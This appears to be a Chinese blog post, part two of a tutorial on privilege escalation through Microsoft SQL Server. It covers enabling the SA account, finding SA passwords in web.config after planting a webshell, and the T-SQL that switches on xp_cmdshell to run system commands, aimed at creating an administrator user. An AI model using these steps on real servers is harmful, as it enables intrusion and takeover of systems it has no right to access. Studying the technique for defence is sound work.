[WEB安全]MSSQL/SQL Server 提权手法详解(中)

二、SQL Server SA用户的添加

右键数据库,点击“属性”,然后点击确定

[WEB安全]MSSQL/SQL Server 提权手法详解(中)

重启sql server 点击“安全性”“登录名”找到“SA”设置这个用户的密码

[WEB安全]MSSQL/SQL Server 提权手法详解(中)

接着还在这个对话框中,我们点击左上角的第二个属性服务器角色(server roles),这里是你为添加该用户要实现哪些角色。一般我们自己使用都是配置最高权限的角色,一个是public ,还有一个是sysadmin。

[WEB安全]MSSQL/SQL Server 提权手法详解(中)

接着我们还在这对话框,我们点击最后一个属性,也就是状态属性(Status),在这个状态栏中,我们只需要勾选上面一栏是否允许连接到数据库引擎(Permission to connect to database engine) 选择 grant(授予);

下面一栏:登录 选择启用(Enabled)。

[WEB安全]MSSQL/SQL Server 提权手法详解(中)

添加好后,点击【确定】,再次来到数据库这边,我们右键数据库,重新启动(Restart),重新启动数据库服务,这样能够将我们刚才配置好的加载起来。重新启动完成之后,我们就可以使用sa用户登录了

[WEB安全]MSSQL/SQL Server 提权手法详解(中)

之后在navicat中连接,输入数据如下

[WEB安全]MSSQL/SQL Server 提权手法详解(中)

三、原理

        “存储过程”:其实质就是一个“集合”,那么是什么样的结合呢,就是存储在SqlServer中预先定义好的“SQL语句集合”,说的更直白一些就是使用T-SQL语言编写好的各种小脚本共同组成的集合体,我们称之为“存储过程”。而存储过程中的这些小脚本中,其危险性最高的“小脚本”就是扩展存储过程中的“xp_cmdshell脚本”,它可以执行操作系统的任何指令。如果我们能够获取SA的管理员权限,我们就可以使用SA的管理权限可以直接执行扩展存储过程中的“xp_cmdshell脚本”,并获得返回值。

xp_cmdshell:

 xp_cmdshell可以执行系统命令,该组件默认是关闭的,因此需要把它打开。xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它

MSSQL的权限:

在Windows server类的操作系统上,默认具有system权限。System权限在Windows server2003中权限仅比admin小;而在2003以上的版本,则为系统权限

初期流程:

1、获取SA密码

获取webshell之后可尝试在服务器各个站点的目录寻找sa的密码(某些站点直接在web应用程序中使用sa连接数据库),一般情况下,.net的站点数据库连接字符串在web.config或者和global.aspx也有可能是编译在DLL文件当中

2、判断端口

通过端口扫描查看1433(mssql默认端口)是否对外开放。如果对外开放则使用sql连接器进行提权,如果没有对外开放,则使用webshell自带的mssql数据库连接功能连接至mssql数据库。

四、xp_cmd提权过程

目的:创建一个新的administrator用户

1、开始xp_cmd扩展功能

    use master;
    exec sp_configure 'show advanced options',1;
    reconfigure;
    exec sp_configure 'xp_cmdshell',1;
    reconfigure;
    
##1开启,0关闭,关闭时从xp_cmdshell  ---> options依次关闭

[WEB安全]MSSQL/SQL Server 提权手法详解(中)

2、任意命令执行

use master;
exec master..xp_cmdshell "whoami";

[WEB安全]MSSQL/SQL Server 提权手法详解(中)

use master;
exec master..xp_cmdshell "ipconfig";
上一篇:取出重复记录的第一条


下一篇:Excel多条件匹配